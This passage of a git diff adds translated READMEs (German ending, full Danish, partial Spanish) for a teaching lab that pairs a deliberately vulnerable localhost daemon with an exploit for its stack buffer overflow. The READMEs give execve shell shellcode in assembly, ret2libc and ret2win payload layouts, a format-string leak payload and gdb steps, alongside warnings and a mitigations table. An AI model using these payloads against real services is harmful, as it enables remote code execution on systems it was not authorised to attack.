`FOOD_BUFSZ` auf 128.** Führe `fooc` erneut aus. Es sollte ohne + jede Änderung weiter funktionieren, weil es das Offset aus der Disassembly + liest. Brich es dann von Hand — härt 88 ein — und sieh zu, wie es abstürzt. + Füge dann zwischen `buf` und den gespeicherten Registern ein zweites Array + ein und beobachte, wie die automatische Erkennung es verkraftet. + +2. **Füge `-Wformat-security` hinzu und schau, was der Format-String-Pfad + tut.** Sende `%p %p %p %n` und beobachte, wie `food` den Stack leakt. + +3. **Nutze gdb.** `make debug`, dann: + ```gdb + (gdb) break food.c:393 # das read(), das überläuft + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # beachte, wo die Rücksprungadresse liegt + (gdb) c # in einem anderen Terminal: ./fooc -t ret2win + ``` + Der `SIGSEGV`-Handler loggt `REG_RIP` und `REG_RSP`, sodass dir `food.log` + sagt, ob die Übernahme gelandet ist, selbst wenn das Kind stirbt, bevor du + dich anhängen kannst. + +4. **Lösche den Ausrichtungs-Fix** in `fooc.c` und beobachte den `#GP`-Fault + mit der `si_addr = 0`-Signatur. Lies dann + `/proc/sys/kernel/randomize_va_space` und denke darüber nach, was ASLR + randomisiert und was nicht. + +5. **Brich die libc-Symbolauflösung** und beobachte, wie `fooc` sich anpasst. + Der ganze Sinn des `/proc/self/maps`-Ansatzes ist, dass kein Offset hart + verdrahtet ist. + +6. **Schreibe eine vierte Technik.** Eine `ret2csu`-artige Kette, wenn du + `__libc_csu_init` findest, oder eine SROP-Kette (`sigreturn`-Frames lassen + dich alle Register gleichzeitig kontrollieren). Beides ist reines ROP und + braucht keinen ausführbaren Speicher. + +7. **Fixe `food.c` richtig**, Bug für Bug, und führe den Exploit nach jedem + Fix erneut aus. Die Reihenfolge in der Tabelle am Anfang von `food.c` ist + ungefähr die richtige Reihenfolge zum Nachdenken: begrenze zuerst das read, + denn nichts anderes zählt, bis der Bug weg ist. + +--- + +## Aufräumen + +```sh +make stop # stoppt food +make clean # entfernt Build-Produkte; lässt food.log in Ruhe +pkill -x sh # nur, wenn du streunende Shells aus einem schiefgelaufenen Test hast +``` + +Beachte: `pkill -x food` matcht den Prozess**namen** exakt. Verwende nicht +`pkill -f ./food` — dieses Muster matcht auch die Shell, in die du es getippt +hast, und tötet deine eigene Session. Das ist keine Hypothese; es ist beim Bau +dieses Labors passiert. \ No newline at end of file diff --git a/README.DK.md b/README.DK.md new file mode 100644 index 0000000..29e4144 --- /dev/null +++ b/README.DK.md @@ -0,0 +1,414 @@ +# food / fooc — et stack-bufferoverløb, fra begge sider + +Et C99-sikkerhedslaboratorium i to halvdele: + +- **`food.c`** — en bevidst sårbar TCP-daemon. Den har et ægte, + lærebogsagtigt stack-bufferoverløb (CWE-120) og et par fejl oveni. +- **`fooc.c`** — et exploit til den. Det beregner overflow-offsettet ved at + disassemblere target-programmet ved kørsel, læser adresse-leaks fra daemonen + og får en shell på "offeret" ved at overskrive en gemt returadresse. + +Pointen er ikke shellen. Pointen er, at du kan følge med hele vejen, hvordan +en hukommelsessikkerhedsfejl bliver til vilkårlig kodeudførelse — og derefter +se præcist, hvilke modforanstaltninger der stopper hvert trin i den kæde. Hver +linje i begge programmer er kommenteret, fordi mekanismen er lektionen. + +``` + din terminal + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (sårbar daemon) + | + fork() -> vulnerable_handler() -> overflow -> ret -> din kode +``` + +--- + +## ⚠️ Læs dette først + +**`food` er en bevidst ødelagt netværkstjeneste. Den binder kun til +`127.0.0.1`, og den standard er bevidst — lad den være der.** + +- Kør den **ikke** på en maskine, du holder af, eller på noget med data på. +- Bind den **ikke** til `0.0.0.0` eller en rigtig netværksgrænseflade. Den er + bevidst eksternt udnyttelig. +- At rette `fooc` mod en host, du ikke ejer eller ikke har skriftlig tilladelse + til at teste, er en computerindbrudsforseelse i de fleste jurisdiktioner — + også efter UK Computer Misuse Act og US Computer Fraud and Abuse Act. +- Den binder til en uprivilegeret port (>1024), så du behøver ikke root. Forbedr + den ikke ved at tilføje capabilities eller køre den som systemtjeneste. +- Hver forbindelse håndteres i et `fork()`et barn, og `food` reaper det, så + nedbrud hober sig ikke op. Hvis du bagefter finder dusinvis af strejfende + `sh`-processer, er `pkill -x sh` oprydningen. + +I tvivlstilfælde: Dette laboratorium er til en virtuel maskine eller container, +på et netværk du kontrollerer, på en maskine uden noget, du ville savne. + +--- + +## Hurtig start + +```sh +make # bygger food, fooc og test-harnessene +make run # starter food på 127.0.0.1:2342, frakoblet i baggrunden +make test # kører alle tre exploit-teknikker +make stop # stopper daemonen +``` + +Derefter i hånden: + +```sh +./fooc -t leak # se de adresse-leaks, food udleverer +./fooc -t demo -v # send junk; se food dø med SIGSEGV +./fooc -t ret2win -i # hop til en funktion, der allerede findes -> shell +``` + +### Krav + +| Værktøj | Hvortil | Bemærkninger | +|---|---|---| +| `gcc` (eller clang) | bygning | C99. Testet med gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` kalder det ved kørsel | +| `nasm` | `make verify` | kun til at krydstjekke shellcoden; springes over, hvis ikke til stede | +| `gdb` | `make debug` | valgfrit | +| Linux, x86-64 | begge | payload og gadget-jagt er arkitekturafhængige | + +`fooc` har også brug for `-ldl` til `dlsym()`; Makefile'et klarer det. + +--- + +## Fejlen + +Én linje i `food.c` er hele angrebsfladen: + +```c +char buf[FOOD_BUFSZ]; /* 64 bytes */ +n = read(fd, buf, FOOD_READMAX); /* op til 512 bytes fra netværket */ +``` + +64 bytes destination, 512 bytes accepteret. Angriberen overskriver 448 bytes +forbi enden af bufferen, og fordi stacken vokser nedad, betyder "forbi enden" +"ind i det ovenstående frame" — og det er præcis der, den gemte +framepointer og den **gemte returadresse** ligger. + +I en kompileret x86-64-funktion ved `-O0`: + +``` + høje adresser + +------------------------+ rbp + 16 : callerens lokale + | ... | + +------------------------+ rbp + 8 : GEMT RETURADRESSE <-- bliver til RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : vores framepointer + | line[128] | + | buf[64] | <- rsp: det, read() fylder + +------------------------+ + lave adresser +``` + +Når funktionen returnerer, popper `leave; ret` de 8 bytes ind i `RIP`, og CPU'en +hopper, hvor angriberen har bestemt. Alt andet i dette laboratorium er +aritmetik om, hvorhen der skal peges. + +For denne build er tallene: `buf` er 64 bytes, det gemte `rbp` er 8, så +returadressen ligger på offset **88** fra starten af `buf`. `fooc` hardkoder +ikke det — det disassemblerer `food` og finder `lea -0x50(%rbp)` foran +`call read@plt`, så det fortsat virker, hvis du ændrer `FOOD_BUFSZ`. + +> gcc fortæller dig allerede om det. At bygge `food` printer: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Undertryk aldrig den advarsel i ægte +> kode. Den er gratis sikkerhed. + +--- + +## De tre teknikker + +`fooc -t `. De står i den rækkefølge, en ægte angriber ville +arbejde sig igennem dem, fordi hver enkelt har brug for det, den forrige lærte +dig. + +### 1. `ret2win` — kontrollér instruktionsmarkøren + +``` +[ 88 bytes junk ][ adressen på food's win() ] + ^ saved rbp + ^ bliver til RIP +``` + +`win()` er en funktion i target-programmet, der exec'er `/bin/sh`. At +overskrive returadressen med dens adresse er hele exploitet. + +**Hvad det lærer:** du har vilkårlig kontrol over instruktionsmarkøren. Det +kræver heller ikke noget leak, fordi binærfilen er bygget `-no-pie`, så `win()` +sidder på en fast adresse for evigt. + +**Den virkelige verdens ækvivalent** er ikke "angreb er nemme", men "skib ikke +udokumenterede bagdøre i netværks-binærfiler". Hvis en funktion som `win()` +findes i din binærfil, vil et bufferoverløb finde den. Det er bogstaveligt talt +Juniper ScreenOS-bagdør-CVE-klassen. + +**Forsvar:** `-fPIE` (eller ASLR) randomiserer load-adressen, så angriberen må +kende adressen — hvilket som regel betyder, at de først har brug for et leak. +Derfor fejler `ret2win` mod `food_hardened`. + +### 2. `ret2libc` — kald hvad som helst, ved navn + +``` +[ junk ][ pop rdi; ret ][ adressen på "/bin/sh" ][ adressen på system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + sætter rdi strengen at sende funktionen at kalde +``` + +Ved udførelse: `ret` popper `pop rdi; ret` ind i RIP; det popper +`"/bin/sh"`-pointeren ind i `RDI`; dets `ret` popper `system()` ind i RIP, mens +`RDI` stadig holder strengen. `system("/bin/sh")` kører. + +Gadgets (`pop rdi; ret`) er ikke i `food` — denne glibc har intet +`__libc_csu_init` — så `fooc` finder dem ved at scanne live libc-hukommelse +efter byteparret `5f c3`. Det lokaliserer libc via `/proc/self/maps`, finder +offsets for `system` og `"/bin/sh"` med `dlsym()` og beregner basen ud fra det +leak, `food` offentliggør. Intet er hardkodet, så det overlever en +libc-opdatering. + +**Hvad det lærer:** når du først kan kontrollere `RIP`, kan du kæde +*eksisterende* instruktioner sammen. Det er return-oriented programming, og det +er sådan næsten alle virkelige exploits ser ud, fordi det ikke kræver +angriberleveret eksekverbar hukommelse. + +**Forsvar:** ingen af compiler-flagene stopper det alene. Det virker mod en +PIE-binærfil, med NX, med canary — så længe angriberen har et leak. +Forsvarene er "hav ikke overløbet" og "læk ikke adresser". Se tabellen nedenfor. + +### 3. `shellcode` — kør din egen maskinkode + +23 bytes, placeret i starten af bufferen, med `RIP` pegende på dem: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" som 8 rå bytes +push rdi ; læg strengen på stacken +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; vi er nu en shell +``` + +Det er den reneste form for fejlen: angriberen leverer *instruktionerne*, ikke +bare adressen på instruktioner, der allerede findes. Ingen libc-offsets +nødvendige, så det virker i princippet mod et statisk linket, fuldt +randomiseret target. + +`make verify` assemblerer `shellcode.S` og diff'er det mod byte-arrayet, der er +indlejret i `fooc.c`, så de to ikke kan drive fra hinanden. + +**Forsvar:** **NX** (også kaldet W^X, "no execute"). At markere stacken som +ikke-eksekverbar får hardwaren til at nægte at hente instruktioner fra den, og +`ret`-et lander på en side, der ikke kan køre. Det er derfor `make food` +giver `-z execstack`: en normal Linux-stack er `rw-p`, ikke `rwx`, og teknikken +dør med SIGSEGV ved `RIP = payloadens adresse`. Den absolut vigtigste lektion i +laboratoriet er, at hver eneste af disse bytes kun virker, fordi compileren fik +besked på at lade stacken være eksekverbar. Det flag er tændt til gavn for +ingen. + +### Også inkluderet + +| Tilstand | Hvad den gør | +|---|---| +| `-t leak` | forbinder, printer leaks, sender intet | +| `-t demo` | sender `rip_off + 8` bytes `0x41`, så `RIP` bliver `0x4141...` og daemonen dør. Beviser fejlen helt uden adresseviden | +| `-t sled` | et ret-sled, bevidst beholdt som et **fejlende** eksempel. Uden et leak ville du brute-force ASLR ved at fylde bufferen med adressen på et `ret`. Det kan ikke virke her: `food` accepterer 512 bytes, så sleden har ~53 slots mod ~28 bit entropi. Implementeret, så du kan se det fejle og bekræfte, at mekanismen virkelig er "CPU'en følger en kæde af rets" | + +--- + +## Tabellen over modforanstaltninger + +Det er den del, man skal huske. Hver række er et ægte forsvar, og højre kolonne +viser, hvad den rent faktisk gør ved begivenhedskæden. + +| Modforanstaltning | Sådan aktiveres | Hvad den stopper | Hvad den *ikke* stopper | +|---|---|---|---| +| **Begræns read** | `n = read(fd, buf, sizeof buf - 1);` | **Alt.** Fejlen findes ikke, så intet nedstrøms betyder noget | Intet — det er den eneste fuldstændige fix | +| **Stack-canary** | `-fstack-protector-strong` (gccs standard) | `ret`-et: canaryen tjekkes ved funktionens afslutning, så smadringen opdages, og processen abort'er, før `RIP` poppes | En fejl i en funktion *uden* array (intet at beskytte); et overflow, der holder sig under canaryen; alt, der ikke returnerer normalt | +| **NX / W^X** | `-z noexecstack` (standarden) | Shellcode. Payloadens egne instruktioner kan ikke hentes | ret2win og ret2libc fuldstændigt. De er *grunden* til, at ROP findes | +| **PIE + ASLR** | `-fPIE` + ASLR=2 (begge standard) | ret2wins hardkodede adresser. Alt flytter sig ved hver kørsel | Alt, hvor angriberen har et leak. ASLR hæver prisen på et exploit; det er ikke en fix. Bemærk, at stack, heap og mmap randomiseres, men hoved-binærfilens *indhold* gør ikke — det er det, ROP-kæder bruger | +| **Læk ikke** | ingen `printf("%p")` til klienter; initialisér før du printer | Det informationsleak, der gør ASLR til "gratis" i stedet for "dyrt" | — | +| **Brug ikke `printf(user_data)`** | `printf("%s", buf)` i stedet for `printf(buf)` | Format-string-fejl: `%x`-stack-reads, `%n`-vilkårlige skrivninger, hvilket er en *anden* vej til RCE | — | +| **Brug ikke utroverdige stier** | validér og `openat()` under en fast mappe | Sti-traversal (CWE-22) | — | +| **CET / shadow stack** | `-fcf-protection=full`, kernel- og CPU-understøttelse | `ret`-et selv: shadow stacken husker den *rigtige* returadresse og fault'er ved mismatch. Fanger ROP-kæder, der bruger hardware-`ret` | Angreb, der aldrig `ret` (call-oriented, eller at overskrive en funktionspegers mål med en gadget-kæde, der ikke behøver en retur) | +| **Sikre sprog** | Rust, Go, C# til ny kode | Hele klassen. Bounds-tjek udføres ved kørsel, ikke håbet på ved review | — | + +### Se det selv + +```sh +make run # sårbar daemon +make test # alle tre teknikker virker + +make test-hardened # samme kildekode, modforanstaltninger på +``` + +`test-hardened` bygger `food_hardened` med `-fstack-protector-strong -fPIE -pie +-z noexecstack`, bytter den ind, kører alle tre igen og lægger derefter den +sårbare tilbage. Du vil se: + +``` +### stack segment: 'rw-p' (NOT executable) is what you want to see +--- ret2win was stopped by the mitigations (as expected) +--- ret2libc was stopped by the mitigations (as expected) +--- shellcode was stopped by the mitigations (as expected) +``` + +Og i den hærdede daemons log, canaryen der udløses: + +``` +*** stack smashing detected ***: terminated +``` + +Læs det grundigt, for det er den vigtigste linje i hele laboratoriet: **canaryen +fangede ret2win, ikke PIE.** Alle tre teknikker dør ved canaryen, fordi alle tre +går gennem det samme `read()` og smadrer den samme frame. NX stopper kun +yderligere shellcodens *kode*; PIE bryder kun yderligere den hardkodede adresse. +Tænd dem enkeltvis, og du vil opdage, at de fleste enkelte modforanstaltninger +efterlader dig udsat over for noget. + +--- + +## Filer + +| Fil | Formål | +|---|---| +| `food.c` | den sårbare daemon. 6 nummererede fejl, hver med sin fix i kommentaren | +| `fooc.c` | exploitet. objdump-baseret offseterkendelse, `/proc`-baseret libc-erkendelse, 4 payload-buildere | +| `shellcode.S` | de 23 shellcode-bytes som assembly, så de kan læses og verificeres. `fooc` bærer dem inline og behøver ikke dette ved kørsel | +| `Makefile` | bygger, tester og den hærdede sammenligning | +| `tests/pty_test.c` | driver `fooc` gennem et pseudo-terminal og tjekker for ægte shell-output | +| `tests/sock_test.c` | uafhængig verifikator over en rå socket, så resultatet ikke afhænger af `fooc` | +| `food.log` | daemonens log. Dit bevis på, hvad der skete | + +--- + +## To fejl i dette laboratorium, der er værd at forstå + +Det er ikke target-programmets fejl. Det er fejl i exploitet og i dets +test-harness, og begge producerede overbevisende løgne. De er dokumenteret i +kilden, hvor de bor; her står de, fordi fiaskomønstrene er lærerige. + +### Stack-justering: nedbruddet, der ikke er en NULL-dereference + +**Symptom.** Kapringen lander korrekt — `gdb` viser dig i `win()` — og så dør +det allerførste, `win()` gør, et `dprintf()`. `SIGSEGV`-handleren rapporterer +`RIP` dybt inde i glibcs formatter og en fejladresse på `(nil)`, hvilket ser +præcis ud som en korrupt pointer. + +**Årsag.** System V AMD64-ABI'en kræver 16-byte stack-justering. Et normalt +`ret` genskaber `%rsp` præcis som det tilsvarende `call` gemte det, så +invarianten bevares gratis. Vores nøgne `ret` gør ikke: efter det gælder +`%rsp = buf + rip_off`. Her er `buf` 16-byte justeret og `rip_off` er 88, så +callee'en får en stack, der er 8 mod 16. glibc er kompileret med SSE2, og +`movaps` **fault'er** ved et fejljusteret operand. På x86 rejser det `#GP`, ikke +`#PF`, så kernen har ingen fejladresse og rapporterer `si_addr = 0`. Det NULL +er fingerpeg: en justeringsfejl forklædt som en NULL-dereference. + +**Fix.** Et `ret`-gadget *ved offset `rip_off`*, der flytter det rigtige target +8 bytes op, fordi hvert `ret` lægger præcis 8 til `%rsp`. Rækkefølgen er +kritisk: en tidligere version hæftede `ret`-et *efter* target og producerede +`[ padding | target | ret ]`, hvor det afsluttende `ret` aldrig nås, og fixen +stille og roligt intet gør. Et vildfarent `ret`, der ligner en fejl, er næsten +altid bevidst. + +### Én socket, to læsere: det byte, der forsvandt + +**Symptom.** Shellcode blev rapporteret som fungerende. Derefter blev +pty-harnessen gjort strengere (slukning af `ECHO`, så terminalen holdt op med at +ekko harnessens egen kommandolinje tilbage til sig selv), og teknikken begyndte +at fejle. Dybere set tabte hver teknik præcis ét byte fra starten af hver +udgangschunk: `uid=1000(hanez)` blev printet som `id=1000(hanez)`, `PWNED-OK` +som `WNED-OK`, `Linux 7.2.7` som `inux 7.2.7`. + +**Årsag.** `fooc` plejede at `dup2()`e socket'en på sit eget stdin/stdout og +`execv()`e en *lokal* `/bin/sh`, mens et forket relay-barn også læste den samme +socket for at flytte output til terminalen. Kernen er ligeglad med, at de to +samarbejder. En streamsocket har **én** læse-cursor, og hver læser flytter den, +så bytes deles uforudsigeligt mellem dem. Den lokale shell, der er en +interaktiv login-shell, læste præcis ét byte og smed det væk — hver eneste +gang. `strace -f` viste det øjeblikkeligt: + +``` +read(0, "u", 1) <- den lokale shell, æder et byte +read(4, "id=1000(hanez) gid=1000(hanez) g".., 310) <- relay'et, 1 byte for kort +``` + +**Fix.** Der er slet ingen shell på denne side. Der er præcis én shell i hele +billedet, og den er på offeret, inde i den kaprede proces, med +TCP-forbindelsen som dens stdin/stdout. Denne side flytter kun bytes. Hvis du +nogensinde har brug for to forbrugere af en stream, skal den stream have én +eneste læser, der bevidst demultiplekser den. + +**Meta-lektionen.** Det første "fungerende" resultat var et falsk positivt, +produceret af at pty'en ekkoede harnessens egen kommandolinje tilbage til den, +og fixen for det falske positive er det, der afslørede den rigtige fejl. Tests, +der ikke kan fejle, er værre end ingen tests, fordi de forvandler "jeg ved +ikke" til "det virker". En test-harness fortjener samme mistænksomhed som den +kode, den tester. + +--- + +## At pille ved det + +Ting, der er værd at prøve, nogenlunde i den rækkefølge, du lærer mest af dem: + +1. **Ændr `FOOD_BUFSZ` til 128.** Kør `fooc` igen. Det burde stadig virke uden + ændringer, fordi det læser offset ud af disassembly'en. Bræk det så i + hånden — hardkod 88 — og se det crashe. Tilføj derefter et andet array + mellem `buf` og de gemte registre, og se den automatiske erkendelse klare + det. + +2. **Tilføj `-Wformat-security` og se, hvad format-string-stien gør.** Send + `%p %p %p %n` og se `food` lække stacken. + +3. **Brug gdb.** `make debug`, derefter: + ```gdb + (gdb) break food.c:393 # det read(), der løber over + (gdb) run -p 2342 + (gdb) info registers rsp rbp + (gdb) x/24gx $rsp # bemærk, hvor returadressen ligger + (gdb) c # i et andet terminal: ./fooc -t ret2win + ``` + `SIGSEGV`-handleren logger `REG_RIP` og `REG_RSP`, så `food.log` fortæller + dig, om kapringen landede, selv når barnet dør, før du kan koble på. + +4. **Slet justeringsfixen** i `fooc.c` og se `#GP`-fejlen med + `si_addr = 0`-signaturen. Læs derefter `/proc/sys/kernel/randomize_va_space` + og tænk over, hvad ASLR randomiserer, og hvad det ikke gør. + +5. **Bræk libc-symbolopløsningen** og se `fooc` tilpasse sig. Hele pointen med + `/proc/self/maps`-tilgangen er, at intet offset er hardkodet. + +6. **Skriv en fjerde teknik.** En `ret2csu`-lignende kæde, hvis du kan finde + `__libc_csu_init`, eller en SROP-kæde (`sigreturn`-frames lader dig + kontrollere alle registre på én gang). Begge er rent ROP og behøver ingen + eksekverbar hukommelse. + +7. **Fix `food.c` ordentligt**, én fejl ad gangen, og kør exploitet igen efter + hver fix. Rækkefølgen i tabellen øverst i `food.c` er nogenlunde den rigtige + rækkefølge at tænke i: begræns først read'et, for intet andet betyder noget, + før fejlen er væk. + +--- + +## Oprydning + +```sh +make stop # stopper food +make clean # fjerner build-produkter; lader food.log være i fred +pkill -x sh # kun hvis du har strejfende shells fra en test, der gik skævt +``` + +Bemærk: `pkill -x food` matcher proces**navnet** præcist. Brug ikke +`pkill -f ./food` — det mønster matcher også den shell, du har skrevet det i, +og dræber din egen session. Det er ikke en hypotese; det skete, mens dette +laboratorium blev bygget. \ No newline at end of file diff --git a/README.ES.md b/README.ES.md new file mode 100644 index 0000000..7903064 --- /dev/null +++ b/README.ES.md @@ -0,0 +1,426 @@ +# food / fooc — un desbordamiento de búfer de pila, desde ambos lados + +Un laboratorio de seguridad en C99 en dos mitades: + +- **`food.c`** — un demonio TCP deliberadamente vulnerable. Tiene un + desbordamiento de búfer de pila real, de libro de texto (CWE-120), más un par + de errores de propina. +- **`fooc.c`** — un exploit contra él. Calcula el offset del desbordamiento + desensamblando el programa objetivo en tiempo de ejecución, lee las fugas de + direcciones del demonio y consigue un shell en la "víctima" sobrescribiendo + una dirección de retorno guardada. + +El punto no es el shell. El punto es que puedas seguir de principio a fin cómo +un error de seguridad de memoria se convierte en ejecución de código arbitrario +— y después ver exactamente qué mitigaciones detienen cada eslabón de esa +cadena. Cada línea de ambos programas está comentada, porque el mecanismo es la +lección. + +``` + tu terminal + | + ./fooc (exploit) + | + TCP 127.0.0.1:2342 + | + ./food (demonio vulnerable) + | + fork() -> vulnerable_handler() -> overflow -> ret -> tu código +``` + +--- + +## ⚠️ Lee esto primero + +**`food` es un servicio de red deliberadamente roto. Solo se enlaza a +`127.0.0.1`, y ese valor por defecto es deliberado — déjalo así.** + +- **No** lo ejecutes en una máquina que te importe, ni en nada que contenga + datos. +- **No** lo enlaces a `0.0.0.0` ni a una interfaz de red real. Está + deliberadamente diseñado para ser explotable de forma remota. +- Apuntar `fooc` a un host que no posees o para el que no tienes permiso + escrito de prueba es un delito informático en la mayoría de las + jurisdicciones — también bajo la UK Computer Misuse Act y la US Computer + Fraud and Abuse Act. +- Se enlaza a un puerto no privilegiado (>1024), así que no necesitas root. No + lo "mejores" añadiendo capabilities o ejecutándolo como servicio del sistema. +- Cada conexión se gestiona en un hijo `fork()`, y `food` hace reap de él, así + que los crashes no se acumulan. Si luego encuentras docenas de `sh` + sueltos, `pkill -x sh` es la limpieza. + +En caso de duda: este laboratorio es para una máquina virtual o un contenedor, +en una red que tú controlas, en una máquina sin nada que echaras de menos. + +--- + +## Inicio rápido + +```sh +make # compila food, fooc y los harness de prueba +make run # arranca food en 127.0.0.1:2342, desacoplado en segundo plano +make test # ejecuta las tres técnicas de exploit +make stop # detiene el demonio +``` + +Después, a mano: + +```sh +./fooc -t leak # mira las fugas de direcciones que food revela +./fooc -t demo -v # envía basura; ve morir a food con SIGSEGV +./fooc -t ret2win -i # salta a una función que ya existe -> shell +``` + +### Requisitos + +| Herramienta | Para qué | Notas | +|---|---|---| +| `gcc` (o clang) | compilar | C99. Probado con gcc 16.2 | +| `objdump` | `fooc` | binutils. `fooc` lo invoca en tiempo de ejecución | +| `nasm` | `make verify` | solo para contrastar el shellcode; se omite si falta | +| `gdb` | `make debug` | opcional | +| Linux, x86-64 | ambos | el payload y la caza de gadgets dependen de la arquitectura | + +`fooc` también necesita `-ldl` para `dlsym()`; el Makefile lo gestiona. + +--- + +## El bug + +Una línea en `food.c` es toda la superficie de ataque: + +```c +char buf[FOOD_BUFSZ]; /* 64 bytes */ +n = read(fd, buf, FOOD_READMAX); /* hasta 512 bytes de la red */ +``` + +64 bytes de destino, 512 aceptados. El atacante sobrescribe 448 bytes más allá +del final del búfer, y como la pila crece hacia abajo, "más allá del final" +significa "dentro del marco superior" — y ahí es exactamente donde están el +puntero de marco guardado y la **dirección de retorno guardada**. + +En una función x86-64 compilada a `-O0`: + +``` + direcciones altas + +------------------------+ rbp + 16 : locales de la llamadora + | ... | + +------------------------+ rbp + 8 : DIRECCIÓN DE RETORNO GUARDADA <-- se vuelve RIP + | saved rbp (8 bytes) | + +------------------------+ rbp : nuestro puntero de marco + | line[128] | + | buf[64] | <- rsp: lo que read() llena + +------------------------+ + direcciones bajas +``` + +Cuando la función retorna, `leave; ret` hace pop de los 8 bytes en `RIP`, y la +CPU salta donde el atacante ha decidido. Todo lo demás en este laboratorio es +aritmética sobre hacia dónde apuntar. + +Para esta compilación, los números son: `buf` mide 64 bytes, el `rbp` guardado +mide 8, así que la dirección de retorno está en el offset **88** desde el +inicio de `buf`. `fooc` no hardcodea eso — desensambla `food` y encuentra el +`lea -0x50(%rbp)` delante de `call read@plt`, así que sigue funcionando si +cambias `FOOD_BUFSZ`. + +> gcc ya te lo dice. Compilar `food` imprime: +> `warning: 'read' writing 512 bytes into a region of size 64 overflows the +> destination [-Wstringop-overflow=]`. Nunca silencies esa advertencia en +> código real. Es seguridad gratuita. + +--- + +## Las tres técnicas + +`fooc -t `. Están en el orden en que un atacante real trabajaría en +ellas, porque cada una necesita lo que la anterior te enseñó. + +### 1. `ret2win` — controla el puntero de instrucción + +``` +[ 88 bytes de basura ][ la dirección del win() de food ] + ^ saved rbp + ^ se vuelve RIP +``` + +`win()` es una función del programa objetivo que hace exec de `/bin/sh`. +Sobrescribir la dirección de retorno con su dirección es todo el exploit. + +**Lo que enseña:** tienes control arbitrario del puntero de instrucción. +Tampoco necesita fuga, porque el binario está compilado con `-no-pie`, así que +`win()` está en una dirección fija para siempre. + +**El equivalente del mundo real** no es "los ataques son fáciles", sino "no +envíes backdoors no documentadas en binarios de red". Si existe una función +como `win()` en tu binario, un desbordamiento de búfer la encontrará. Es +literalmente la clase de CVE de backdoor de Juniper ScreenOS. + +**Defensa:** `-fPIE` (o ASLR) randomiza la dirección de carga, así que el +atacante debe conocer la dirección — lo que normalmente significa que primero +necesita una fuga. Por eso `ret2win` falla contra `food_hardened`. + +### 2. `ret2libc` — llama a lo que sea, por su nombre + +``` +[ basura ][ pop rdi; ret ][ dirección de "/bin/sh" ][ dirección de system() ] + ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^ + pone rdi la cadena a enviar la función a llamar +``` + +En ejecución: `ret` hace pop de `pop rdi; ret` en RIP; eso hace pop del puntero +`"/bin/sh"` en `RDI`; su `ret` hace pop de `system()` en RIP, mientras `RDI` +sigue sosteniendo la cadena. `system("/bin/sh")` se ejecuta. + +Los gadgets (`pop rdi; ret`) no están en `food` — esta glibc no tiene +`__libc_csu_init` — así que `fooc` los encuentra escaneando la memoria viva de +libc en busca del par de bytes `5f c3`. Localiza libc vía `/proc/self/maps`, +encuentra los offsets de `system` y `"/bin/sh"` con `dlsym()` y calcula la base +a partir de la fuga que `food` divulga. Nada está hardcodeado, así que +sobrevive a una actualización de libc. + +**Lo que enseña:** una vez que puedes controlar `RIP`, puedes encadenar +instrucciones *existentes*. Eso es return-oriented programming, y así se ven +casi todos los exploits reales, porque no requiere memoria ejecutable provista +por el atacante. + +**Defensa:** ninguno de los flags del compilador lo detiene solo. Funciona +contra un binario PIE, con NX, con canary — mientras el atacante tenga una +fuga. Las defensas son "no tengas el desbordamiento" y "no fugues +direcciones". Ver la tabla más abajo. + +### 3. `shellcode` — ejecuta tu propio código máquina + +23 bytes, colocados al inicio del búfer, con `RIP` apuntando a ellos: + +```asm +xor esi, esi ; envp = NULL +xor edx, edx ; argv = NULL +movabs rdi, 0x68732f6e69622f ; rdi = "/bin/sh\0" como 8 bytes crudos +push rdi ; deja la cadena en la pila +mov rdi, rsp ; rdi = &"/bin/sh" +push 0x3b ; 59 = __NR_execve +pop rax +syscall ; ahora somos un shell +``` + +Esta es la forma más pura del bug: el atacante entrega *las instrucciones*, no +solo la dirección de instrucciones que ya existen. No se necesitan offsets de +libc, así que en principio funciona contra un objetivo estáticamente enlazado, +totalmente randomizado. + +`make verify` ensambla `shellcode.S` y lo compara con el array de bytes embebido +en `fooc.c`, para que no puedan divergir. + +**Defensa:** **NX** (también llamado W^X, "no execute"). Marcar la pila como no +ejecutable hace que el hardware se niegue a buscar instrucciones en ella, y el +`ret` aterriza en una página que no puede ejecutarse. Por eso `make food` pasa +`-z execstack`: una pila Linux normal es `rw-p`, no `rwx`, y la técnica muere +con SIGSEGV en `RIP = la dirección del payload`. La lección más importante del +laboratorio es que cada uno de estos bytes funciona solo porque se le dijo al +compilador que dejara la pila ejecutable. Ese flag está activado para bien de +nadie. + +### También incluido + +| Modo | Qué hace | +|---|---| +| `-t leak` | se conecta, imprime fugas, no envía nada | +| `-t demo` | envía `rip_off + 8` bytes de `0x41`, así que `RIP` se vuelve `0x4141...` y el demonio muere. Prueba el bug sin ningún conocimiento de direcciones | +| `-t sled` | un ret-sled, conservado deliberadamente como ejemplo **fallido**. Sin una fuga, harías fuerza bruta a ASLR llenando el búfer con la dirección de un `ret`. No puede funcionar aquí: `food` acepta 512 bytes, así que el sled tiene ~53 ranuras frente a ~28 bits de entropía. Implementado para que puedas verlo fallar y confirmar que el mecanismo es de verdad "la CPU sigue una cadena de rets" | + +--- + +## La tabla de mitigaciones + +Esta es la parte que hay que recordar. Cada fila es una defensa real, y la +columna derecha muestra qué hace realmente con la cadena de eventos. + +| Mitigación | Cómo activarla | Qué detiene | Qué *no* detiene | +|---|---|---|---| +| **Limita read** | `n = read(fd, buf, sizeof buf - 1);` | **Todo.** El bug no existe, así que nada aguas abajo importa | Nada — es el único fix completo | +| **Canary de pila** | `-fstack-protector-strong` (por defecto en gcc) | El `ret`: la canary se comprueba al final de la función, así que la destrucción se detecta y el proceso aborta antes de que se haga pop de `RIP` | Un error en una función *sin* array (nada que proteger); un desbordamiento que se mantiene por debajo de la canary; todo lo que no retorna normalmente | +| **NX / W^X** | `-z noexecstack` (el valor por defecto) | Shellcode. Las instrucciones del payload no pueden 